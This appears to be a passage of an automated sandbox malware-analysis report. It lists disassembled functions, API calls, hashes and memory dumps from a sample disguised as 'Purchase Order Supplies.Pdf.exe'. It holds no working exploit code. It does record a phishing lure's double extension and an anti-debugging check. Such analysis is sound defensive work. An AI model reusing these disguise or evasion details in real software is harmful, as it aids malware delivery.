Function 00C9E60E Relevance: 4.5, APIs: 3, Instructions: 31windowCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00C9E646
DispatchMessageW.USER32(?), ref: 00C9E651
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C9E664

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: 03a5688a20e76dcca1c21ceb49f6696f86dbaf986f337a800437ca84699f4820
Instruction ID: 60b3bef7f7bf034b848873ce27fbd2067698484586095b345f284ec8b2fd1a1a
Opcode Fuzzy Hash: 03a5688a20e76dcca1c21ceb49f6696f86dbaf986f337a800437ca84699f4820
Instruction Fuzzy Hash: 48F01271644349A7DF20E7E18C49BABB7DDBB94744F144C2DFA45C2190DBB4D505CB22

Function 00CDC450 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CDC45E

Part of subcall function 00CB28CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00CB8715,00000000,00CB88A3,00CB4673,?), ref: 00CB28DE
Part of subcall function 00CB28CA: GetLastError.KERNEL32(00000000,?,00CB8715,00000000,00CB88A3,00CB4673,?), ref: 00CB28F0

_free.LIBCMT ref: 00CDC46F
_free.LIBCMT ref: 00CDC481

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 087bea45b9e552155f1be1c866ba964bb642fabb90d708dc02c9b9c981af8e32
Instruction ID: d3edc811f614397a1b6d368569de55e160b2cac66a4a10b03423970e6f4eac9f
Opcode Fuzzy Hash: 087bea45b9e552155f1be1c866ba964bb642fabb90d708dc02c9b9c981af8e32
Instruction Fuzzy Hash: 5AE017A260070296CA24AA79A894BF363CC6F04761F14482EF669D72C2DF28E940E578

Function 00CA058E Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 527COMMON

Download Yara Rule

Strings

CALL, xrefs: 00CA10DB

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 5fc05d5ce43a6cf3809cffccd1cd29066680f0361f324cb6041926bfacc6e7f0
Instruction ID: b8dd3ed940da09c652158f84993586f6632dfc7cbadd9c00bd3948c7033023e8
Opcode Fuzzy Hash: 5fc05d5ce43a6cf3809cffccd1cd29066680f0361f324cb6041926bfacc6e7f0
Instruction Fuzzy Hash: B3227B70508342CFDB28DF24C494B2AB7E1BF86348F25895DE99A8B3A1D731ED45DB42

Function 00C9131C Relevance: 3.9, APIs: 3, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 00C916F2: RegisterClipboardFormatW.USER32(WM_GETCONTROLNAME), ref: 00C91751

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00C9159B
CoInitialize.OLE32(00000000), ref: 00C91612
CloseHandle.KERNEL32(00000000), ref: 00D058F7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Handle$ClipboardCloseFormatInitializeRegister
String ID:
API String ID: 458326420-0
Opcode ID: 48ff6694a5fab59a84cc4df706d125cc92c79cd6953dd3a78475b7cffda20872
Instruction ID: 3a91bf2ee38c25afdbdc412c642134c30ad9592af422f736ce344289779b38df
Opcode Fuzzy Hash: 48ff6694a5fab59a84cc4df706d125cc92c79cd6953dd3a78475b7cffda20872
Instruction Fuzzy Hash: 2A71C9BC9013559BCB00DF6AA8957A4BBE4FB5834B794662EDC0AC7362DB704848CF31

Function 00C94010 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C9405A

Strings

EA06, xrefs: 00D057B9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: a4b290def2bc9a5890ce3210d5d41e9ffced073b20d6024d046296959978632c
Instruction ID: d6f9187e65d56a1a7d7776005899a8356dcb56e3a31af3cf91e2a524dbf371b4
Opcode Fuzzy Hash: a4b290def2bc9a5890ce3210d5d41e9ffced073b20d6024d046296959978632c
Instruction Fuzzy Hash: 5641B031A041549BCF1D9B648CA9FBF7FA2DF55300F285565EA82DB283C6218EC397B1

Function 00CE013F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00CE01A9

Strings

0.0.0.0, xrefs: 00CE01B7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscmp
String ID: 0.0.0.0
API String ID: 856254489-3771769585
Opcode ID: 16cecdf44ad5a0484cd72576488df7cd6eee70d0f781c1b03694b04c3daab23c
Instruction ID: a177577587999f61bf5a32958073cb3e447f03f2d555b9e76230272b0bdca82f
Opcode Fuzzy Hash: 16cecdf44ad5a0484cd72576488df7cd6eee70d0f781c1b03694b04c3daab23c
Instruction Fuzzy Hash: A9112335700204DFCB04EB15D9D1E5DB3A9AF98710B208089F605AF391DAB0ED82EBA0

Function 00C93BFF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D03CF1

Part of subcall function 00C931B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 00C931DA

Part of subcall function 00C93A67: SHGetMalloc.SHELL32(00C93C31), ref: 00C93A7D
Part of subcall function 00C93A67: SHGetDesktopFolder.SHELL32(?), ref: 00C93A8F
Part of subcall function 00C93A67: SHGetPathFromIDListW.SHELL32(?,?), ref: 00C93AD2

Part of subcall function 00C93B45: GetFullPathNameW.KERNEL32(?,00000104,?,?,00D522E8,?), ref: 00C93B65

Strings

X, xrefs: 00D03D01

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Path$FullName$DesktopFolderFromListMalloc_memset
String ID: X
API String ID: 2727075218-3081909835
Opcode ID: fad7514ebaf285d61c08d1f9cc1a42e1cd686dae6ad2ff35b3527d608ac4577b
Instruction ID: b2d01ced986eb0aa230f1d65be572721f4a9edc163cb99c23ea5ced43c57ec5b
Opcode Fuzzy Hash: fad7514ebaf285d61c08d1f9cc1a42e1cd686dae6ad2ff35b3527d608ac4577b
Instruction Fuzzy Hash: E41186B1A102D8ABCF05DFD8D8096DEBBF9AF45704F04800AE401BB381DBB55B499BB5

Function 00C934C1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 00D034AA

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: LibraryLoad
String ID: >>>AUTOIT NO CMDEXECUTE<<<
API String ID: 1029625771-2684727018
Opcode ID: 278655a2d23877c3a4d427f04229d306889de0c6b546045be515f1506ccc2c92
Instruction ID: 4f37d5dff9d20c851512bab4e3f11a7bdace3abe4260663c2217cc95405df14f
Opcode Fuzzy Hash: 278655a2d23877c3a4d427f04229d306889de0c6b546045be515f1506ccc2c92
Instruction Fuzzy Hash: 2BF04F71900249AE8F11EEA4D8959FFB7BCAB10300F148526A82696182EB349B09DB21

Function 00D0813B Relevance: 3.2, APIs: 2, Instructions: 212COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00D08146

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: b70fc43b9ea999edccef0188762b7ea112ae181f8a97597bead7166854066263
Instruction ID: 7d2ac857a6f2c446d5e5b6e846d93dc6ff3bdab9b0b6822da18ecc1624efc21e
Opcode Fuzzy Hash: b70fc43b9ea999edccef0188762b7ea112ae181f8a97597bead7166854066263
Instruction Fuzzy Hash: B0816C74A002579BCB24CF48C890AADB7B1FF46318F688529EC599B351D735EE86CB90

Function 00CAF461 Relevance: 3.2, APIs: 2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c3e09e76ed84cf48fb26684ba431e8b7ebbf074644dfdd4235a2d77c6a6749c
Instruction ID: 8fe7d0bf169bd9f88656172b78e2e0a43e7d0762ecd3476cc4776a329f48c6dd
Opcode Fuzzy Hash: 9c3e09e76ed84cf48fb26684ba431e8b7ebbf074644dfdd4235a2d77c6a6749c
Instruction Fuzzy Hash: B951C2316043029FCB18EF68D491BAA73E5AF89314F14856DF99A8B2D2DB30ED05DB61

Function 00CE8065 Relevance: 3.1, APIs: 2, Instructions: 98COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00CE8074
GetForegroundWindow.USER32 ref: 00CE807A

Part of subcall function 00CE6B19: GetWindowRect.USER32(?,?), ref: 00CE6B2C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$CursorForegroundRect
String ID:
API String ID: 1066937146-0
Opcode ID: 82112a907b2a4e7f32442c32e92a58848755e4d3a0dfa7284293dc31aa0a8357
Instruction ID: 2046b231f733325fa86f85e1d5ad489a165ebe95da413ebffdca2e8878e46862
Opcode Fuzzy Hash: 82112a907b2a4e7f32442c32e92a58848755e4d3a0dfa7284293dc31aa0a8357
Instruction Fuzzy Hash: 2E316376A00219AFDF00EFA5CC85AEEB7B8FF14314F10442AE956B7251DB34AE45DB90

Function 00C91DCE Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00D0DB31
IsWindow.USER32(00000000), ref: 00D0DB6B

Part of subcall function 00C91F04: GetForegroundWindow.USER32 ref: 00C91FBE

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$Foreground
String ID:
API String ID: 62970417-0
Opcode ID: 657f82d6d889a3665f4da48dd0af6f40279e60f316d3353b9b3969926de743f5
Instruction ID: b5de2529aad54ca13e1c1453250508e5fff580f90734a3d1ed8c10e89f60f93c
Opcode Fuzzy Hash: 657f82d6d889a3665f4da48dd0af6f40279e60f316d3353b9b3969926de743f5
Instruction Fuzzy Hash: B121C072600206AADF10AF74C849FFE77AA9F40784F054429F95AD7181DB30EE01E760

Function 00CCE2E8 Relevance: 3.1, APIs: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9193B: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00C91952

SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00CCE344
_strlen.LIBCMT ref: 00CCE34F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$Timeout_strlen
String ID:
API String ID: 2777139624-0
Opcode ID: bd614c9bf4382a16622149d49487b7379128610ede024777a387011d99122f74
Instruction ID: 8b7260296ee9bdc2f1ca9336a3a522771beab298bf5e8f0554b9fe9626e3dabc
Opcode Fuzzy Hash: bd614c9bf4382a16622149d49487b7379128610ede024777a387011d99122f74
Instruction Fuzzy Hash: 0B11E73120020467CF04BB69DC86EBF7BA89F46340F00443EF606DB1A2DE64A946A7A0

Function 00C93682 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

7479C8D0.UXTHEME ref: 00C936E6

Part of subcall function 00CB2025: __lock.LIBCMT ref: 00CB202B

Part of subcall function 00C932DE: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00C932F6
Part of subcall function 00C932DE: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00C9330B

Part of subcall function 00C9374E: GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 00C9376D
Part of subcall function 00C9374E: IsDebuggerPresent.KERNEL32(?,?), ref: 00C9377F
Part of subcall function 00C9374E: GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe,00000104,?,00D51120,C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe,00D51124,?,?), ref: 00C937EE
Part of subcall function 00C9374E: SetCurrentDirectoryW.KERNEL32(?), ref: 00C93860

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00C93726

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$7479DebuggerFullNamePathPresent__lock
String ID:
API String ID: 1760729031-0
Opcode ID: 5e7595e536b4c8162d9f9c2a87125faec5c73c9b43990432b073c31946a46679
Instruction ID: 185ab5542905e16f62ac5b0419d9c353f81330658e0c4f87a5de49fb53324187
Opcode Fuzzy Hash: 5e7595e536b4c8162d9f9c2a87125faec5c73c9b43990432b073c31946a46679
Instruction Fuzzy Hash: 9711CD719083419BC300EF69EC09A1EBBE9FB95711F00491EF884C73B1DB709A44CBA2

Function 00C94B88 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000001,?,00C94C2B,?,?,?,?,00C9BE63), ref: 00C94BB6
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000001,?,00C94C2B,?,?,?,?,00C9BE63), ref: 00D04972

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8c32b9011ce0ea0b8672b8ae5ffe2ab785c579010dac196d3d95199d92b1977d
Instruction ID: 08f3812efd8282d00acb4606fe0332a1dabe474490563706d40bcdbfdd7b82c3
Opcode Fuzzy Hash: 8c32b9011ce0ea0b8672b8ae5ffe2ab785c579010dac196d3d95199d92b1977d
Instruction Fuzzy Hash: 6C019270284308BFF7284E28DC8AF667BDCEB15768F108319BAE45A1E0C6B05D468B60

Function 00CAF26B Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00CDAEA5,?,?,00000000,00000008), ref: 00CAF282
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00CDAEA5,?,?,00000000,00000008), ref: 00CAF2A6

Part of subcall function 00CAF2D0: _memmove.LIBCMT ref: 00CAF307

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: a7c7bdcf5dbc88731ca7519926e4516915a8c4d12e2143e7658b47f2b8ea7ab6
Instruction ID: 7a913a66b176fe9bf0ffaed042f91d38e95368302e416df117d97f188873aad5
Opcode Fuzzy Hash: a7c7bdcf5dbc88731ca7519926e4516915a8c4d12e2143e7658b47f2b8ea7ab6
Instruction Fuzzy Hash: 4FF04FB6104214BFAB14AFA5DC44DBB7FADEF8A360710812AFD08CA111DA31DD429671

Function 00CBF782 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 00CBF7D9
__close_nolock.LIBCMT ref: 00CBF7F2

Part of subcall function 00CB886A: __getptd_noexit.LIBCMT ref: 00CB886A

Part of subcall function 00CB889E: __getptd_noexit.LIBCMT ref: 00CB889E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle__close_nolock
String ID:
API String ID: 1046115767-0
Opcode ID: efea79a7877eae49a04b6e666a84720c662e191060ce2f5121dd4c4b765a8899
Instruction ID: 2f529e554e1b921d51bdff68b5711787447c4166dfa1816538f6350c46012ea2
Opcode Fuzzy Hash: efea79a7877eae49a04b6e666a84720c662e191060ce2f5121dd4c4b765a8899
Instruction Fuzzy Hash: B21170328056109FD7117F649C463D87B546F42331F550368E8706B3E3CBB55942EAA1

Function 00CE9500 Relevance: 3.0, APIs: 2, Instructions: 46networkCOMMON

Download Yara Rule

APIs

